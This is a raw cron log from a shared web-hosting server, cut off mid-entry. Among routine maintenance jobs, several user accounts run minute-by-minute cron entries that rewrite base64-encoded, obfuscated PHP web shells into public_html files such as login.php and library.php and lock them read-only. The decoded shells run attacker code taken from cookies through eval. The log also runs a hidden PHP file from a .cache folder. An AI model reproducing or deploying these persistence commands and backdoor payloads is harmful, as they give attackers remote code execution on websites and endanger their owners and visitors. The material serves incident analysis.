Mar  1 22:55:02 medusa CROND[21354]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 22:56:01 medusa CROND[21784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:56:01 medusa CROND[21885]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 22:56:01 medusa CROND[21886]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 22:56:01 medusa CROND[21887]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:56:01 medusa CROND[21888]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:56:01 medusa CROND[21889]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:56:01 medusa CROND[21891]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:56:02 medusa CROND[21899]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:56:02 medusa CROND[21890]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:56:02 medusa CROND[21901]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 22:56:02 medusa CROND[21902]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:56:02 medusa CROND[21907]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:56:02 medusa CROND[21909]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:56:02 medusa CROND[21923]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:57:01 medusa CROND[27052]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:57:01 medusa CROND[27109]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:57:02 medusa CROND[27199]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 22:57:02 medusa CROND[27200]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:57:02 medusa CROND[27201]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:57:02 medusa CROND[27202]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:57:02 medusa CROND[27205]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:57:02 medusa CROND[27208]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:57:02 medusa CROND[27211]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:57:02 medusa CROND[27212]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:57:02 medusa CROND[27213]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:57:02 medusa CROND[27219]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:58:02 medusa CROND[31698]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 22:58:02 medusa CROND[31699]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:58:02 medusa CROND[31700]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 22:58:02 medusa CROND[31703]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dx